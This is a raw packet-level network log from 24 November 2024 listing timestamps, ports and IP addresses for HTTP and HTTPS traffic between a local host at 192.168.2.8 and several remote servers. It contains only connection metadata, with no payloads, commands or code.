Nov 24, 2024 19:11:57.131359100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.131407022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.131484032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.131567001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.132210970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.132261992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.142539978 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:57.142560959 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:57.164335966 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:57.186985970 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.187588930 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.187613010 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.187685966 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.187983990 CET	49823	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.187994957 CET	443	49823	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.188405991 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.188472986 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.188535929 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.188868046 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.188908100 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.188961029 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.189095020 CET	49824	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.189112902 CET	443	49824	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.189230919 CET	49825	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.189245939 CET	443	49825	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.189589977 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.189601898 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.189738989 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.189927101 CET	49826	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.189940929 CET	443	49826	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.190512896 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.190522909 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.190570116 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.190743923 CET	49827	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.190756083 CET	443	49827	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.211330891 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:57.231338024 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.252441883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.252500057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.252547979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.252729893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.253293037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.253341913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.253381014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.253844023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.253993034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.254776001 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.254887104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.255620003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.255713940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.256288052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.256556988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.256603003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.256696939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.256753922 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.257373095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.257456064 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.257493019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.257540941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.258287907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.258372068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.258418083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.258456945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.259172916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.259223938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.259289026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.259334087 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.260025978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.260152102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.260162115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.260222912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.260987043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.261046886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.261065960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.261116028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.261821032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.261929035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.261934042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.261979103 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.262705088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.262834072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.262881994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.263580084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.263629913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.263700962 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.263837099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.264650106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.264703035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.264713049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.264751911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.265542030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.265645027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.265666008 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.265816927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.266465902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.266546011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.266577005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.266622066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.267406940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.267478943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.267482042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.267544985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.268243074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.268387079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.268460035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.269016981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.269062042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.269104958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.269174099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.269923925 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.270060062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.270132065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.270210028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.270792007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.270843983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.270929098 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.271636009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.271701097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.271704912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.271783113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.272505999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.272556067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.272614956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.272682905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.273391008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.273478985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.273513079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.273612022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.274301052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.274346113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.274410963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.274458885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.275377989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.275428057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.275456905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.275502920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.276151896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.276201010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.276259899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.276304960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.276962996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.277029991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.277071953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.277117014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.277940989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.277997971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.278012037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.278206110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.278753996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.278834105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.278878927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.278918982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.279643059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.279896975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.305674076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.305725098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.305730104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.305793047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.306014061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.306071997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.306075096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.306114912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.306652069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.306701899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.306885958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.306932926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.306993961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.307043076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.307981968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.308017015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.308031082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.308063984 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.308689117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.308783054 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.308800936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.308829069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.309607983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.309660912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.309667110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.309740067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.310441017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.310489893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.310534000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.310606956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.311347008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.311448097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.311487913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.311614037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.312357903 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.312397003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.312433958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.312463045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.313359976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.313410997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.313453913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.313508987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.314161062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.314229012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.314280033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.315154076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.315349102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.315397024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.316195011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.316493034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.376892090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.376952887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.376965046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.376996994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.377536058 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.377588987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.377619982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.377743006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.378256083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.378326893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.378359079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.378397942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.379102945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.379203081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.379229069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.379270077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.380006075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.380055904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.380106926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.380158901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.380888939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.380954981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.381006002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.381788015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.381850958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.381915092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.381963015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.382675886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.382783890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.382832050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.383553028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.383606911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.383667946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.383713961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.384593010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.384641886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.384769917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.384933949 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.385695934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.385751009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.385751009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.385796070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.386523962 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.386688948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.433043003 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.436480999 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.436531067 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.436845064 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.436856031 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.444935083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.445029974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.445070982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.445086002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.445219994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.445255041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.445261002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.445296049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.445907116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.445945024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.445954084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.445986032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.446790934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.446842909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.446863890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.446938992 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.447669983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.447731018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.447777033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.448004961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.448565006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.448617935 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.448656082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.448770046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.449507952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.449594021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.449623108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.449647903 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.450407028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.450443983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.450455904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.450485945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.451231956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.451343060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.451356888 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.451400042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.452142954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.452193975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.452219963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.452263117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.453026056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.453082085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.453098059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.453134060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.497559071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.517255068 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.517309904 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.517621040 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.517642975 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.520637035 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.520693064 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.536343098 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.536370039 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.566632986 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566660881 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566670895 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566689968 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566699028 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566709042 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566728115 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.566761017 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.566776037 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.566807032 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.618719101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.641323090 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:57.641411066 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:57.642806053 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:57.644495964 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:57.644509077 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:57.648880005 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:57.648907900 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:57.649102926 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:57.649350882 CET	49828	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:57.649363995 CET	443	49828	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:57.752682924 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.752700090 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.752723932 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.752734900 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.752760887 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.752775908 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.752783060 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.752840996 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.761101007 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.761178970 CET	49802	443	192.168.2.8	104.117.182.56
Nov 24, 2024 19:11:57.900371075 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.900383949 CET	443	49802	104.117.182.56	192.168.2.8
Nov 24, 2024 19:11:57.900422096 CET	443	49802	104.117.182.56	192.168.2.8
